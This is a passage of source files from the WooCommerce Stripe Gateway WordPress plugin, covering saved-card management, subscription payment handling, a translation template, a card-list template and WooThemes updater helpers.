27 if ( empty( self::$logger ) ) {
28 self::$logger = new WC_Logger();
29 }
30
31 self::$logger->add( 'woocommerce-gateway-stripe', $message );
32
33 }
34 }
35
36 new WC_Stripe_Logger();
1 <?php
2 if ( ! defined( 'ABSPATH' ) ) {
3 exit;
4 }
5
6 /**
7 * WC_Gateway_Stripe_Saved_Cards class.
8 */
9 class WC_Gateway_Stripe_Saved_Cards {
10
11 /**
12 * Constructor
13 */
14 public function __construct() {
15 add_action( 'wp', array( $this, 'delete_card' ) );
16 add_action( 'wp', array( $this, 'default_card' ) );
17 add_action( 'woocommerce_after_my_account', array( $this, 'output' ) );
18 add_action( 'woocommerce_init', array( $this, 'add_notice' ) );
19 }
20
21 /**
22 * Adds notice when default card is saved
23 *
24 */
25 public function add_notice() {
26 if ( ! empty( $_POST['stripe_default_card'] ) ) {
27 wc_add_notice( __( 'Default card saved', 'woocommerce-gateway-stripe' ) );
28 }
29
30 return true;
31 }
32
33 /**
34 * Display saved cards
35 */
36 public function output() {
37 if ( ! is_user_logged_in() || ( ! $customer_id = get_user_meta( get_current_user_id(), '_stripe_customer_id', true ) ) || ! is_string( $customer_id ) ) {
38 return;
39 }
40
41 $stripe = new WC_Gateway_Stripe();
42 $cards = $stripe->get_saved_cards( $customer_id );
43 $default_card = get_user_meta( get_current_user_id(), '_wc_stripe_default_card', true );
44
45 if ( $cards ) {
46 wc_get_template( 'saved-cards.php', array( 'cards' => $cards, 'default_card' => $default_card ), 'woocommerce-gateway-stripe/', WC_STRIPE_TEMPLATE_PATH );
47 }
48 }
49
50 /**
51 * Delete a card
52 */
53 public function delete_card() {
54 if ( ! isset( $_POST['stripe_delete_card'] ) || ! is_account_page() ) {
55 return;
56 }
57 if ( ! is_user_logged_in() || ( ! $customer_id = get_user_meta( get_current_user_id(), '_stripe_customer_id', true ) ) || ! is_string( $customer_id ) || ! wp_verify_nonce( $_POST['_wpnonce'], "stripe_del_card" ) ) {
58 wp_die( __( 'Unable to verify deletion, please try again', 'woocommerce-gateway-stripe' ) );
59 }
60 $stripe = new WC_Gateway_Stripe();
61 $result = $stripe->stripe_request( array(), 'customers/' . $customer_id . '/sources/' . sanitize_text_field( $_POST['stripe_delete_card'] ), 'DELETE' );
62
63 delete_transient( 'stripe_cards_' . $customer_id );
64
65 do_action( 'wc_stripe_delete_card', $customer_id, $result );
66
67 if ( is_wp_error( $result ) ) {
68 wc_add_notice( __( 'Unable to delete card.', 'woocommerce-gateway-stripe' ), 'error' );
69 } else {
70 wc_add_notice( __( 'Card deleted.', 'woocommerce-gateway-stripe' ), 'success' );
71 }
72
73 wp_safe_redirect( apply_filters( 'wc_stripe_manage_saved_cards_url', get_permalink( woocommerce_get_page_id( 'myaccount' ) ) ) );
74 exit;
75 }
76
77 /**
78 * Make a card as default method
79 */
80 public function default_card() {
81 if ( ! isset( $_POST['stripe_default_card'] ) || ! is_account_page() ) {
82 return;
83 }
84
85 if ( ! is_user_logged_in() || ( ! $customer_id = get_user_meta( get_current_user_id(), '_stripe_customer_id', true ) ) || ! is_string( $customer_id ) || ! wp_verify_nonce( $_POST['_wpnonce'], "stripe_default_card" ) ) {
86 wp_die( __( 'Unable to make default card, please try again', 'woocommerce-gateway-stripe' ) );
87 }
88
89 do_action( 'wc_stripe_default_card', $customer_id, sanitize_text_field( $_POST['stripe_default_card'] ) );
90
91 update_user_meta( get_current_user_id(), '_wc_stripe_default_card', sanitize_text_field( $_POST['stripe_default_card'] ) );
92
93 wp_safe_redirect( apply_filters( 'wc_stripe_manage_saved_cards_url', get_permalink( woocommerce_get_page_id( 'myaccount' ) ) ) );
94 exit;
95 }
96 }
97 new WC_Gateway_Stripe_Saved_Cards();
1 <?php
2 if ( ! defined( 'ABSPATH' ) ) {
3 exit;
4 }
5
6 /**
7 * WC_Gateway_Stripe_Addons class.
8 *
9 * @extends WC_Gateway_Stripe
10 */
11 class WC_Gateway_Stripe_Addons_Deprecated extends WC_Gateway_Stripe_Addons {
12
13 /**
14 * Constructor
15 */
16 public function __construct() {
17 parent::__construct();
18
19 if ( class_exists( 'WC_Subscriptions_Order' ) ) {
20
21 add_action( 'scheduled_subscription_payment_' . $this->id, array( $this, 'process_scheduled_subscription_payment' ), 10, 3 );
22
23 add_filter( 'woocommerce_subscriptions_renewal_order_meta_query', array( $this, 'remove_renewal_order_meta' ), 10, 4 );
24 add_action( 'woocommerce_subscriptions_changed_failing_payment_method_stripe', array( $this, 'change_failing_payment_method' ), 10, 3 );
25
26 // display the current payment method used for a subscription in the "My Subscriptions" table
27 add_filter( 'woocommerce_my_subscriptions_recurring_payment_method', array( $this, 'my_subscriptions_recurring_payment_method' ), 10, 3 );
28 }
29 }
30
31 /**
32 * Store the customer and card IDs on the order
33 *
34 * @param int $order_id
35 * @return array
36 */
37 protected function save_meta( $order_id, $customer_id, $card_id ) {
38 update_post_meta( $order_id, '_stripe_customer_id', $customer_id );
39 update_post_meta( $order_id, '_stripe_card_id', $card_id );
40 }
41
42 /**
43 * Process the payment
44 *
45 * @param int $order_id
46 * @return array
47 */
48 public function process_payment( $order_id, $retry = true ) {
49 // Processing subscription
50 if ( class_exists( 'WC_Subscriptions_Order' ) && WC_Subscriptions_Order::order_contains_subscription( $order_id ) ) {
51 return $this->process_subscription( $order_id, $retry );
52
53 // Processing pre-order or standard ordre
54 } else {
55 return parent::process_payment( $order_id, $retry );
56 }
57 }
58
59 /**
60 * scheduled_subscription_payment function.
61 *
62 * @param $amount_to_charge float The amount to charge.
63 * @param $order WC_Order The WC_Order object of the order which the subscription was purchased in.
64 * @param $product_id int The ID of the subscription product for which this payment relates.
65 * @access public
66 * @return void
67 */
68 public function process_scheduled_subscription_payment( $amount_to_charge, $order, $product_id ) {
69 $result = $this->process_subscription_payment( $order, $amount_to_charge );
70
71 if ( is_wp_error( $result ) ) {
72 WC_Subscriptions_Manager::process_subscription_payment_failure_on_order( $order, $product_id );
73 } else {
74 WC_Subscriptions_Manager::process_subscription_payments_on_order( $order );
75 }
76 }
77
78 /**
79 * process_subscription_payment function.
80 *
81 * @access public
82 * @param mixed $order
83 * @param int $amount (default: 0)
84 * @param string $stripe_token (default: '')
85 * @param bool initial_payment
86 */
87 public function process_subscription_payment( $order = '', $amount = 0, $initial_payment = false ) {
88 $order_items = $order->get_items();
89 $order_item = array_shift( $order_items );
90 $subscription_name = sprintf( __( 'Subscription for "%s"', 'woocommerce-gateway-stripe' ), $order_item['name'] ) . ' ' . sprintf( __( '(Order %s)', 'woocommerce-gateway-stripe' ), $order->get_order_number() );
91
92 if ( $amount * 100 < 50 ) {
93 return new WP_Error( 'stripe_error', __( 'Sorry, the minimum allowed order total is 0.50 to use this payment method.', 'woocommerce-gateway-stripe' ) );
94 }
95
96 // We need a customer in Stripe. First, look for the customer ID linked to the USER.
97 $user_id = $order->customer_user;
98 $stripe_customer = get_user_meta( $user_id, '_stripe_customer_id', true );
99
100 // If we couldn't find a Stripe customer linked to the account, fallback to the order meta data.
101 if ( ! $stripe_customer || ! is_string( $stripe_customer ) ) {
102 $stripe_customer = get_post_meta( $order->id, '_stripe_customer_id', true );
103 }
104
105 // Or fail :(
106 if ( ! $stripe_customer ) {
107 return new WP_Error( 'stripe_error', __( 'Customer not found', 'woocommerce-gateway-stripe' ) );
108 }
109
110 $currency = strtolower( $order->get_order_currency() ? $order->get_order_currency() : get_woocommerce_currency() );
111 $stripe_payment_args = array(
112 'amount' => $this->get_stripe_amount( $amount, $currency ),
113 'currency' => $currency,
114 'description' => $subscription_name,
115 'customer' => $stripe_customer,
116 'expand[]' => 'balance_transaction',
117 'capture' => ( $this->capture || ! $initial_payment ) ? 'true' : 'false'
118 );
119
120 // See if we're using a particular card
121 if ( $card_id = get_post_meta( $order->id, '_stripe_card_id', true ) ) {
122 $stripe_payment_args['source'] = $card_id;
123 }
124
125 // Charge the customer
126 $response = $this->stripe_request( $stripe_payment_args, 'charges' );
127
128 if ( ! is_wp_error( $response ) ) {
129 update_post_meta( $order->id, '_stripe_charge_id', $response->id );
130 add_post_meta( $order->id, '_transaction_id', $response->id, true );
131
132 if ( isset( $response->balance_transaction ) && isset( $response->balance_transaction->fee ) ) {
133 $fee = number_format( $response->balance_transaction->fee / 100, 2, '.', '' );
134 update_post_meta( $order->id, 'Stripe Fee', $fee );
135 update_post_meta( $order->id, 'Net Revenue From Stripe', $order->order_total - $fee );
136 }
137
138 if ( $response->captured ) {
139 update_post_meta( $order->id, '_stripe_charge_captured', 'yes' );
140 $order->add_order_note( sprintf( __( 'Stripe subscription charge complete (Charge ID: %s)', 'woocommerce-gateway-stripe' ), $response->id ) );
141 $order->payment_complete( $response->id );
142 } else {
143 update_post_meta( $order->id, '_stripe_charge_captured', 'no' );
144 $order->add_order_note( sprintf( __( 'Stripe subscription charge authorized (Charge ID: %s)', 'woocommerce-gateway-stripe' ), $response->id ) );
145 $order->reduce_order_stock();
146 }
147 }
148
149 return $response;
150 }
151
152 /**
153 * Don't transfer Stripe customer/token meta when creating a parent renewal order.
154 *
155 * @access public
156 * @param array $order_meta_query MySQL query for pulling the metadata
157 * @param int $original_order_id Post ID of the order being used to purchased the subscription being renewed
158 * @param int $renewal_order_id Post ID of the order created for renewing the subscription
159 * @param string $new_order_role The role the renewal order is taking, one of 'parent' or 'child'
160 * @return void
161 */
162 public function remove_renewal_order_meta( $order_meta_query, $original_order_id, $renewal_order_id, $new_order_role ) {
163 if ( 'parent' == $new_order_role ) {
164 $order_meta_query .= " AND `meta_key` NOT IN ( '_stripe_customer_id', '_stripe_card_id', 'Stripe Fee', 'Net Revenue From Stripe', 'Stripe Payment ID' ) ";
165 }
166 return $order_meta_query;
167 }
168
169 /**
170 * Update the customer_id for a subscription after using Stripe to complete a payment to make up for
171 * an automatic renewal payment which previously failed.
172 *
173 * @access public
174 * @param WC_Order $original_order The original order in which the subscription was purchased.
175 * @param WC_Order $renewal_order The order which recorded the successful payment (to make up for the failed automatic payment).
176 * @param string $subscription_key A subscription key of the form created by @see WC_Subscriptions_Manager::get_subscription_key()
177 * @return void
178 */
179 public function change_failing_payment_method( $original_order, $renewal_order, $subscription_key ) {
180 $new_customer_id = get_post_meta( $renewal_order->id, '_stripe_customer_id', true );
181 $new_card_id = get_post_meta( $renewal_order->id, '_stripe_card_id', true );
182 update_post_meta( $original_order->id, '_stripe_customer_id', $new_customer_id );
183 update_post_meta( $original_order->id, '_stripe_card_id', $new_card_id );
184 }
185
186 /**
187 * Render the payment method used for a subscription in the "My Subscriptions" table
188 *
189 * @since 1.7.5
190 * @param string $payment_method_to_display the default payment method text to display
191 * @param array $subscription_details the subscription details
192 * @param WC_Order $order the order containing the subscription
193 * @return string the subscription payment method
194 */
195 public function my_subscriptions_recurring_payment_method( $payment_method_to_display, $subscription_details, $order ) {
196 // bail for other payment methods
197 if ( $this->id !== $order->recurring_payment_method || ! $order->customer_user ) {
198 return $payment_method_to_display;
199 }
200
201 $user_id = $order->customer_user;
202 $stripe_customer = get_user_meta( $user_id, '_stripe_customer_id', true );
203
204 // If we couldn't find a Stripe customer linked to the account, fallback to the order meta data.
205 if ( ! $stripe_customer || ! is_string( $stripe_customer ) ) {
206 $stripe_customer = get_post_meta( $order->id, '_stripe_customer_id', true );
207 }
208
209 // Card specified?
210 $stripe_card = get_post_meta( $order->id, '_stripe_card_id', true );
211
212 // Get cards from API
213 $cards = $this->get_saved_cards( $stripe_customer );
214
215 if ( $cards ) {
216 $found_card = false;
217 foreach ( $cards as $card ) {
218 if ( $card->id === $stripe_card ) {
219 $found_card = true;
220 $payment_method_to_display = sprintf( __( 'Via %s card ending in %s', 'woocommerce-gateway-stripe' ), ( isset( $card->type ) ? $card->type : $card->brand ), $card->last4 );
221 break;
222 }
223 }
224 if ( ! $found_card ) {
225 $payment_method_to_display = sprintf( __( 'Via %s card ending in %s', 'woocommerce-gateway-stripe' ), ( isset( $cards[0]->type ) ? $cards[0]->type : $cards[0]->brand ), $cards[0]->last4 );
226 }
227 }
228
229 return $payment_method_to_display;
230 }
231 }
1 # Copyright (C) 2015 WooCommerce Stripe Gateway
2 # This file is distributed under the same license as the WooCommerce Stripe Gateway package.
3 msgid ""
4 msgstr ""
5 "Project-Id-Version: WooCommerce Stripe Gateway 2.3.0\n"
6 "Report-Msgid-Bugs-To: http://wordpress.org/tag/woocommerce-gateway-stripe\n"
7 "POT-Creation-Date: 2015-01-31 21:01:18+00:00\n"
8 "MIME-Version: 1.0\n"
9 "Content-Type: text/plain; charset=UTF-8\n"
10 "Content-Transfer-Encoding: 8bit\n"
11 "PO-Revision-Date: 2015-MO-DA HO:MI+ZONE\n"
12 "Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
13 "Language-Team: LANGUAGE <LL@li.org>\n"
14
15 #: includes/class-wc-gateway-stripe-addons.php:60
16 #: includes/class-wc-gateway-stripe-addons.php:173
17 #: includes/class-wc-gateway-stripe.php:399
18 msgid ""
19 "Please make sure your card details have been entered correctly and that your "
20 "browser supports JavaScript."
21 msgstr ""
22
23 #: includes/class-wc-gateway-stripe-addons.php:63
24 #: includes/class-wc-gateway-stripe-addons.php:176
25 #: includes/class-wc-gateway-stripe.php:402
26 msgid ""
27 "Developers: Please make sure that you are including jQuery and there are no "
28 "JavaScript errors on the page."
29 msgstr ""
30
31 #: includes/class-wc-gateway-stripe-addons.php:135
32 msgid "Error:"
33 msgstr ""
34
35 #: includes/class-wc-gateway-stripe-addons.php:162
36 #: includes/class-wc-gateway-stripe-addons.php:294
37 #: includes/class-wc-gateway-stripe.php:388
38 msgid ""
39 "Sorry, the minimum allowed order total is 0.50 to use this payment method."
40 msgstr ""
41
42 #: includes/class-wc-gateway-stripe-addons.php:291
43 msgid "Subscription for \"%s\""
44 msgstr ""
45
46 #: includes/class-wc-gateway-stripe-addons.php:291
47 msgid "(Order %s)"
48 msgstr ""
49
50 #: includes/class-wc-gateway-stripe-addons.php:308
51 msgid "Customer not found"
52 msgstr ""
53
54 #: includes/class-wc-gateway-stripe-addons.php:331
55 msgid "Stripe subscription payment completed (Charge ID: %s)"
56 msgstr ""
57
58 #: includes/class-wc-gateway-stripe-addons.php:405
59 #: includes/class-wc-gateway-stripe-addons.php:410
60 msgid "Via %s card ending in %s"
61 msgstr ""
62
63 #: includes/class-wc-gateway-stripe-addons.php:430
64 #: includes/class-wc-gateway-stripe.php:450
65 msgid "%s - Order %s"
66 msgstr ""
67
68 #: includes/class-wc-gateway-stripe-addons.php:462
69 #: includes/class-wc-gateway-stripe.php:487 woocommerce-gateway-stripe.php:128
70 msgid "Stripe charge complete (Charge ID: %s)"
71 msgstr ""
72
73 #: includes/class-wc-gateway-stripe-addons.php:471
74 #: includes/class-wc-gateway-stripe.php:496
75 msgid ""
76 "Stripe charge authorized (Charge ID: %s). Process order to take payment, or "
77 "cancel to remove the pre-authorization."
78 msgstr ""
79
80 #: includes/class-wc-gateway-stripe-addons.php:475
81 msgid "Stripe Transaction Failed (%s)"
82 msgstr ""
83
84 #: includes/class-wc-gateway-stripe-saved-cards.php:42
85 msgid "Unable to verify deletion, please try again"
86 msgstr ""
87
88 #: includes/class-wc-gateway-stripe-saved-cards.php:50
89 msgid "Unable to delete card."
90 msgstr ""
91
92 #: includes/class-wc-gateway-stripe-saved-cards.php:52
93 msgid "Card deleted."
94 msgstr ""
95
96 #: includes/class-wc-gateway-stripe.php:18
97 msgid "Stripe"
98 msgstr ""
99
100 #: includes/class-wc-gateway-stripe.php:19
101 msgid ""
102 "Stripe works by adding credit card fields on the checkout and then sending "
103 "the details to Stripe for verification."
104 msgstr ""
105
106 #: includes/class-wc-gateway-stripe.php:59
107 msgid "Continue to payment"
108 msgstr ""
109
110 #: includes/class-wc-gateway-stripe.php:63
111 msgid ""
112 "TEST MODE ENABLED. In test mode, you can use the card number "
113 "4242424242424242 with any CVC and a valid expiration date."
114 msgstr ""
115
116 #: includes/class-wc-gateway-stripe.php:117
117 msgid "Stripe error: Please enter your secret key <a href=\"%s\">here</a>"
118 msgstr ""
119
120 #: includes/class-wc-gateway-stripe.php:121
121 msgid "Stripe error: Please enter your publishable key <a href=\"%s\">here</a>"
122 msgstr ""
123
124 #: includes/class-wc-gateway-stripe.php:127
125 msgid ""
126 "Stripe error: Your secret and publishable keys match. Please check and re-"
127 "enter."
128 msgstr ""
129
130 #: includes/class-wc-gateway-stripe.php:133
131 msgid ""
132 "Stripe is enabled, but the <a href=\"%s\">force SSL option</a> is disabled; "
133 "your checkout may not be secure! Please enable SSL and ensure your server "
134 "has a valid SSL certificate - Stripe will only work in test mode."
135 msgstr ""
136
137 #: includes/class-wc-gateway-stripe.php:160
138 msgid "Enable/Disable"
139 msgstr ""
140
141 #: includes/class-wc-gateway-stripe.php:161
142 msgid "Enable Stripe"
143 msgstr ""
144
145 #: includes/class-wc-gateway-stripe.php:167
146 msgid "Title"
147 msgstr ""
148
149 #: includes/class-wc-gateway-stripe.php:169
150 msgid "This controls the title which the user sees during checkout."
151 msgstr ""
152
153 #: includes/class-wc-gateway-stripe.php:170
154 msgid "Credit card (Stripe)"
155 msgstr ""
156
157 #: includes/class-wc-gateway-stripe.php:173
158 msgid "Description"
159 msgstr ""
160
161 #: includes/class-wc-gateway-stripe.php:175
162 msgid "This controls the description which the user sees during checkout."
163 msgstr ""
164
165 #: includes/class-wc-gateway-stripe.php:176
166 msgid "Pay with your credit card via Stripe."
167 msgstr ""
168
169 #: includes/class-wc-gateway-stripe.php:179
170 msgid "Test mode"
171 msgstr ""
172
173 #: includes/class-wc-gateway-stripe.php:180
174 msgid "Enable Test Mode"
175 msgstr ""
176
177 #: includes/class-wc-gateway-stripe.php:182
178 msgid "Place the payment gateway in test mode using test API keys."
179 msgstr ""
180
181 #: includes/class-wc-gateway-stripe.php:186
182 msgid "Live Secret Key"
183 msgstr ""
184
185 #: includes/class-wc-gateway-stripe.php:188
186 #: includes/class-wc-gateway-stripe.php:194
187 #: includes/class-wc-gateway-stripe.php:200
188 #: includes/class-wc-gateway-stripe.php:206
189 msgid "Get your API keys from your stripe account."
190 msgstr ""
191
192 #: includes/class-wc-gateway-stripe.php:192
193 msgid "Live Publishable Key"
194 msgstr ""
195
196 #: includes/class-wc-gateway-stripe.php:198
197 msgid "Test Secret Key"
198 msgstr ""
199
200 #: includes/class-wc-gateway-stripe.php:204
201 msgid "Test Publishable Key"
202 msgstr ""
203
204 #: includes/class-wc-gateway-stripe.php:210
205 msgid "Capture"
206 msgstr ""
207
208 #: includes/class-wc-gateway-stripe.php:211
209 msgid "Capture charge immediately"
210 msgstr ""
211
212 #: includes/class-wc-gateway-stripe.php:213
213 msgid ""
214 "Whether or not to immediately capture the charge. When unchecked, the charge "
215 "issues an authorization and will need to be captured later. Uncaptured "
216 "charges expire in 7 days."
217 msgstr ""
218
219 #: includes/class-wc-gateway-stripe.php:217
220 msgid "Stripe Checkout"
221 msgstr ""
222
223 #: includes/class-wc-gateway-stripe.php:218
224 msgid "Enable Stripe Checkout"
225 msgstr ""
226
227 #: includes/class-wc-gateway-stripe.php:220
228 msgid ""
229 "If enabled, this option shows a \"pay\" button and modal credit card form on "
230 "the checkout, instead of credit card fields directly on the page."
231 msgstr ""
232
233 #: includes/class-wc-gateway-stripe.php:224
234 msgid "Stripe Checkout Image"
235 msgstr ""
236
237 #: includes/class-wc-gateway-stripe.php:225
238 msgid ""
239 "Optionally enter the URL to a 128x128px image of your brand or product. e.g. "
240 "<code>https://yoursite.com/wp-content/uploads/2013/09/yourimage.jpg</code>"
241 msgstr ""
242
243 #: includes/class-wc-gateway-stripe.php:230 templates/saved-cards.php:1
244 msgid "Saved cards"
245 msgstr ""
246
247 #: includes/class-wc-gateway-stripe.php:231
248 msgid "Enable saved cards"
249 msgstr ""
250
251 #: includes/class-wc-gateway-stripe.php:233
252 msgid ""
253 "If enabled, users will be able to pay with a saved card during checkout. "
254 "Card details are saved on Stripe servers, not on your store."
255 msgstr ""
256
257 #: includes/class-wc-gateway-stripe.php:265
258 msgid "Manage cards"
259 msgstr ""
260
261 #: includes/class-wc-gateway-stripe.php:270
262 msgid "%s card ending in %s (Expires %s/%s)"
263 msgstr ""
264
265 #: includes/class-wc-gateway-stripe.php:276
266 msgid "Use a new credit card"
267 msgstr ""
268
269 #: includes/class-wc-gateway-stripe.php:285
270 msgid "%s"
271 msgstr ""
272
273 #: includes/class-wc-gateway-stripe.php:286
274 msgid "Confirm and Pay"
275 msgstr ""
276
277 #: includes/class-wc-gateway-stripe.php:344
278 msgid "Please accept the terms and conditions first"
279 msgstr ""
280
281 #: includes/class-wc-gateway-stripe.php:345
282 msgid "Please fill in required checkout fields first"
283 msgstr ""
284
285 #: includes/class-wc-gateway-stripe.php:551
286 msgid "Refunded %s - Refund ID: %s - Reason: %s"
287 msgstr ""
288
289 #: includes/class-wc-gateway-stripe.php:584
290 msgid "Unable to add customer"
291 msgstr ""
292
293 #: includes/class-wc-gateway-stripe.php:608
294 msgid "Unable to add card"
295 msgstr ""
296
297 #: includes/class-wc-gateway-stripe.php:635
298 msgid "There was a problem connecting to the payment gateway."
299 msgstr ""
300
301 #: includes/class-wc-gateway-stripe.php:639
302 msgid "Empty response."
303 msgstr ""
304
305 #: templates/saved-cards.php:5
306 msgid "Card"
307 msgstr ""
308
309 #: templates/saved-cards.php:6
310 msgid "Expires"
311 msgstr ""
312
313 #: templates/saved-cards.php:13
314 msgid "%s card ending in %s"
315 msgstr ""
316
317 #: templates/saved-cards.php:14
318 msgid "Expires %s/%s"
319 msgstr ""
320
321 #: templates/saved-cards.php:19
322 msgid "Delete card"
323 msgstr ""
324
325 #: woocommerce-gateway-stripe.php:65
326 msgid "Settings"
327 msgstr ""
328
329 #: woocommerce-gateway-stripe.php:66
330 msgid "Support"
331 msgstr ""
332
333 #: woocommerce-gateway-stripe.php:67
334 msgid "Docs"
335 msgstr ""
336
337 #: woocommerce-gateway-stripe.php:126
338 msgid "Unable to capture charge!"
339 msgstr ""
340
341 #: woocommerce-gateway-stripe.php:162
342 msgid "Unable to refund charge!"
343 msgstr ""
344
345 #: woocommerce-gateway-stripe.php:164
346 msgid "Stripe charge refunded (Charge ID: %s)"
347 msgstr ""
348
349 #. Plugin Name of the plugin/theme
350 msgid "WooCommerce Stripe Gateway"
351 msgstr ""
352
353 #. Plugin URI of the plugin/theme
354 msgid "http://www.woothemes.com/products/stripe/"
355 msgstr ""
356
357 #. Description of the plugin/theme
358 msgid ""
359 "A payment gateway for Stripe (https://stripe.com/). A Stripe account and a "
360 "server with Curl, SSL support, and a valid SSL certificate is required (for "
361 "security reasons) for this gateway to function. Requires WC 2.1+"
362 msgstr ""
363
364 #. Author of the plugin/theme
365 msgid "Mike Jolley"
366 msgstr ""
367
368 #. Author URI of the plugin/theme
369 msgid "http://mikejolley.com"
370 msgstr ""
1 <h2 id="saved-cards" style="margin-top:40px;"><?php _e( 'Saved cards', 'woocommerce-gateway-stripe' ); ?></h2>
2 <table class="shop_table">
3 <thead>
4 <tr>
5 <th><?php esc_html_e( 'Card', 'woocommerce-gateway-stripe' ); ?></th>
6 <th><?php esc_html_e( 'Expires', 'woocommerce-gateway-stripe' ); ?></th>
7 <th></th>
8 </tr>
9 </thead>
10 <tbody>
11 <?php foreach ( $cards as $card ) :
12 if ( 'card' !== $card->object ) {
13 continue;
14 }
15
16 $is_default_card = $card->id === $default_card ? true : false;
17 ?>
18 <tr>
19 <td><?php printf( __( '%s card ending in %s', 'woocommerce-gateway-stripe' ), $card->brand, $card->last4 ); ?>
20 <?php if ( $is_default_card ) echo '<br />' . __( '(Default)', 'woocommerce-gateway-stripe' ); ?>
21 </td>
22 <td><?php printf( __( 'Expires %s/%s', 'woocommerce-gateway-stripe' ), $card->exp_month, $card->exp_year ); ?></td>
23 <td>
24 <form action="" method="POST">
25 <?php wp_nonce_field ( 'stripe_del_card' ); ?>
26 <input type="hidden" name="stripe_delete_card" value="<?php echo esc_attr( $card->id ); ?>">
27 <input type="submit" class="button" value="<?php esc_attr_e( 'Delete card', 'woocommerce-gateway-stripe' ); ?>">
28 </form>
29
30 <?php if ( ! $is_default_card ) { ?>
31 <form action="" method="POST" style="margin-top:10px;">
32 <?php wp_nonce_field ( 'stripe_default_card' ); ?>
33 <input type="hidden" name="stripe_default_card" value="<?php echo esc_attr( $card->id ); ?>">
34 <input type="submit" class="button" value="<?php esc_attr_e( 'Make Default', 'woocommerce-gateway-stripe' ); ?>">
35 </form>
36 <?php } ?>
37 </td>
38 </tr>
39 <?php endforeach; ?>
40 </tbody>
41 </table>
1 <?php
2 /**
3 * WC Dependency Checker
4 *
5 * Checks if WooCommerce is enabled
6 */
7 class WC_Dependencies {
8
9 private static $active_plugins;
10
11 public static function init() {
12
13 self::$active_plugins = (array) get_option( 'active_plugins', array() );
14
15 if ( is_multisite() )
16 self::$active_plugins = array_merge( self::$active_plugins, get_site_option( 'active_sitewide_plugins', array() ) );
17 }
18
19 public static function woocommerce_active_check() {
20
21 if ( ! self::$active_plugins ) self::init();
22
23 return in_array( 'woocommerce/woocommerce.php', self::$active_plugins ) || array_key_exists( 'woocommerce/woocommerce.php', self::$active_plugins );
24 }
25
26 }
27
28
1 <?php
2 /**
3 * Functions used by plugins
4 */
5 if ( ! class_exists( 'WC_Dependencies' ) )
6 require_once 'class-wc-dependencies.php';
7
8 /**
9 * WC Detection
10 */
11 if ( ! function_exists( 'is_woocommerce_active' ) ) {
12 function is_woocommerce_active() {
13 return WC_Dependencies::woocommerce_active_check();
14 }
15 }
16
17 /**
18 * Queue updates for the WooUpdater
19 */
20 if ( ! function_exists( 'woothemes_queue_update' ) ) {
21 function woothemes_queue_update( $file, $file_id, $product_id ) {
22 global $woothemes_queued_updates;
23
24 if ( ! isset( $woothemes_queued_updates ) )
25 $woothemes_queued_updates = array();
26
27 $plugin = new stdClass();
28 $plugin->file = $file;
29 $plugin->file_id = $file_id;
30 $plugin->product_id = $product_id;
31
32 $woothemes_queued_updates[] = $plugin;
33 }
34 }
35
36 /**
37 * Load installer for the WooThemes Updater.
38 * @return $api Object
39 */
40 if ( ! class_exists( 'WooThemes_Updater' ) && ! function_exists( 'woothemes_updater_install' ) ) {
41 function woothemes_updater_install( $api, $action, $args ) {
42 $download_url = 'http://woodojo.s3.amazonaws.com/downloads/woothemes-updater/woothemes-updater.zip';
43
44 if ( 'plugin_information' != $action ||
45 false !== $api ||
46 ! isset( $args->slug ) ||
47 'woothemes-updater' != $args->slug
48 ) return $api;
49
50 $api = new stdClass();
51 $api->name = 'WooThemes Updater';
52 $api->version = '1.0.0';
53 $api->download_link = esc_url( $download_url );
54 return $api;
55 }
56
57 add_filter( 'plugins_api', 'woothemes_updater_install', 10, 3 );
58 }
59
60 /**
61 * WooUpdater Installation Prompts
62 */
63 if ( ! class_exists( 'WooThemes_Updater' ) && ! function_exists( 'woothemes_updater_notice' ) ) {
64
65 /**
66 * Display a notice if the "WooThemes Updater" plugin hasn't been installed.
67 * @return void
68 */
69 function woothemes_updater_notice() {
70 $active_plugins = apply_filters( 'active_plugins', get_option('active_plugins' ) );
71 if ( in_array( 'woothemes-updater/woothemes-updater.php', $active_plugins ) ) return;
72
73 $slug = 'woothemes-updater';
74 $install_url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=' . $slug ), 'install-plugin_' . $slug );
75 $activate_url = 'plugins.php?action=activate&plugin=' . urlencode( 'woothemes-updater/woothemes-updater.php' ) . '&plugin_status=all&paged=1&s&_wpnonce=' . urlencode( wp_create_nonce( 'activate-plugin_woothemes-updater/woothemes-updater.php' ) );
76
77 $message = '<a href="' . esc_url( $install_url ) . '">Install the WooThemes Updater plugin</a> to get updates for your WooThemes plugins.';
78 $is_downloaded = false;
79 $plugins = array_keys( get_plugins() );
80 foreach ( $plugins as $plugin ) {
81 if ( strpos( $plugin, 'woothemes-updater.php' ) !== false ) {
82 $is_downloaded = true;
83 $message = '<a href="' . esc_url( admin_url( $activate_url ) ) . '">Activate the WooThemes Updater plugin</a> to get updates for your WooThemes plugins.';
84 }
85 }
86 echo '<div class="updated fade"><p>' . $message . '</p></div>' . "\n";
87 }
88
89 add_action( 'admin_notices', 'woothemes_updater_notice' );
90 }
91
92 /**
93 * Prevent conflicts with older versions
94 */
95 if ( ! class_exists( 'WooThemes_Plugin_Updater' ) ) {
96 class WooThemes_Plugin_Updater { function init() {} }
97 }
...\ No newline at end of file ...\ No newline at end of file
1 <?php
2 /*
3 Plugin Name: WooCommerce Stripe Gateway
4 Plugin URI: http://www.woothemes.com/products/stripe/
5 Description: A payment gateway for Stripe (https://stripe.com/). A Stripe account and a server with Curl, SSL support, and a valid SSL certificate is required (for security reasons) for this gateway to function. Requires WC 2.1+
6 Version: 2.6.12
7 Author: WooThemes
8 Author URI: http://woothemes.com
9 Text Domain: woocommerce-gateway-stripe
10 Domain Path: /languages
11
12 Copyright: © 2009-2014 WooThemes.
13 License: GNU General Public License v3.0
14 License URI: http://www.gnu.org/licenses/gpl-3.0.html
15
16 Stripe Docs: https://stripe.com/docs
17 */
18
19 if ( ! defined( 'ABSPATH' ) ) {
20 exit;
21 }
22
23 /**
24 * Required functions
25 */
26 if ( ! function_exists( 'woothemes_queue_update' ) ) {
27 require_once( 'woo-includes/woo-functions.php' );
28 }
29
30 /**
31 * Plugin updates
32 */
33 woothemes_queue_update( plugin_basename( __FILE__ ), 'b022f53cd049144bfd02586bdc0928cd', '18627' );
34
35 /**
36 * Main Stripe class which sets the gateway up for us
37 */
38 class WC_Stripe {
39
40 /**
41 * Constructor
42 */
43 public function __construct() {
44 define( 'WC_STRIPE_VERSION', '2.6.12' );
45 define( 'WC_STRIPE_TEMPLATE_PATH', untrailingslashit( plugin_dir_path( __FILE__ ) ) . '/templates/' );
